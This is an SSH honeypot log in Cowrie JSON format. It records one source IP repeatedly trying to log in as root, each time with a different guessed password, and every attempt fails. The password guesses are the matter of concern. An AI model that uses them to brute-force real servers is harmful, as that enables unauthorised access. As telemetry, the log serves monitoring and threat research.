{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:31.249232Z","src_ip":"60.165.124.241","session":"4244867b77c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.com","message":"login attempt [root/123456.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:31.969134Z","src_ip":"60.165.124.241","session":"4244867b77c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:33.211237Z","src_ip":"60.165.124.241","session":"4244867b77c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56924,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b6163118dc","protocol":"ssh","message":"New connection: 60.165.124.241:56924 (10.17.0.5:22) [session: a5b6163118dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:33.445087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:33.453609Z","src_ip":"60.165.124.241","session":"a5b6163118dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:33.696284Z","src_ip":"60.165.124.241","session":"a5b6163118dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:34.430615Z","src_ip":"60.165.124.241","session":"a5b6163118dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:35.685571Z","src_ip":"60.165.124.241","session":"a5b6163118dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59704,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1908320e6a9","protocol":"ssh","message":"New connection: 60.165.124.241:59704 (10.17.0.5:22) [session: b1908320e6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:35.916354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:35.921187Z","src_ip":"60.165.124.241","session":"b1908320e6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:36.157720Z","src_ip":"60.165.124.241","session":"b1908320e6a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin.2025","message":"login attempt [root/Admin.2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:36.899207Z","src_ip":"60.165.124.241","session":"b1908320e6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:38.138640Z","src_ip":"60.165.124.241","session":"b1908320e6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34474,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f92da1c0ab","protocol":"ssh","message":"New connection: 60.165.124.241:34474 (10.17.0.5:22) [session: 60f92da1c0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:38.378385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:38.383056Z","src_ip":"60.165.124.241","session":"60f92da1c0ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:38.636881Z","src_ip":"60.165.124.241","session":"60f92da1c0ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty54321","message":"login attempt [root/Qwerty54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:39.365288Z","src_ip":"60.165.124.241","session":"60f92da1c0ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:40.615544Z","src_ip":"60.165.124.241","session":"60f92da1c0ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37294,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e7e72515487","protocol":"ssh","message":"New connection: 60.165.124.241:37294 (10.17.0.5:22) [session: 3e7e72515487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:40.866427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:40.870890Z","src_ip":"60.165.124.241","session":"3e7e72515487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:41.112029Z","src_ip":"60.165.124.241","session":"3e7e72515487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwsx@123","message":"login attempt [root/Qwsx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:41.865026Z","src_ip":"60.165.124.241","session":"3e7e72515487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:43.105372Z","src_ip":"60.165.124.241","session":"3e7e72515487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40574,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3e8aa41c6ed","protocol":"ssh","message":"New connection: 60.165.124.241:40574 (10.17.0.5:22) [session: d3e8aa41c6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:43.378650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:43.386210Z","src_ip":"60.165.124.241","session":"d3e8aa41c6ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:43.655338Z","src_ip":"60.165.124.241","session":"d3e8aa41c6ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hytx@admin!@#","message":"login attempt [root/hytx@admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:44.435145Z","src_ip":"60.165.124.241","session":"d3e8aa41c6ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:45.696663Z","src_ip":"60.165.124.241","session":"d3e8aa41c6ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43850,"dst_ip":"10.17.0.5","dst_port":22,"session":"79bef2542c42","protocol":"ssh","message":"New connection: 60.165.124.241:43850 (10.17.0.5:22) [session: 79bef2542c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:45.912786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:45.917803Z","src_ip":"60.165.124.241","session":"79bef2542c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:46.163807Z","src_ip":"60.165.124.241","session":"79bef2542c42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123321","message":"login attempt [root/123123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:46.883621Z","src_ip":"60.165.124.241","session":"79bef2542c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:48.128282Z","src_ip":"60.165.124.241","session":"79bef2542c42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46794,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a253bd086a","protocol":"ssh","message":"New connection: 60.165.124.241:46794 (10.17.0.5:22) [session: f3a253bd086a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:48.386366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:48.391161Z","src_ip":"60.165.124.241","session":"f3a253bd086a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:48.644184Z","src_ip":"60.165.124.241","session":"f3a253bd086a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@ABCD","message":"login attempt [root/1234@ABCD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:49.397973Z","src_ip":"60.165.124.241","session":"f3a253bd086a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:50.653308Z","src_ip":"60.165.124.241","session":"f3a253bd086a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49748,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a869c7beb34","protocol":"ssh","message":"New connection: 60.165.124.241:49748 (10.17.0.5:22) [session: 7a869c7beb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:50.877899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:50.882314Z","src_ip":"60.165.124.241","session":"7a869c7beb34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:51.129413Z","src_ip":"60.165.124.241","session":"7a869c7beb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morgan","message":"login attempt [root/morgan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:51.865184Z","src_ip":"60.165.124.241","session":"7a869c7beb34","protocol":"ssh"}
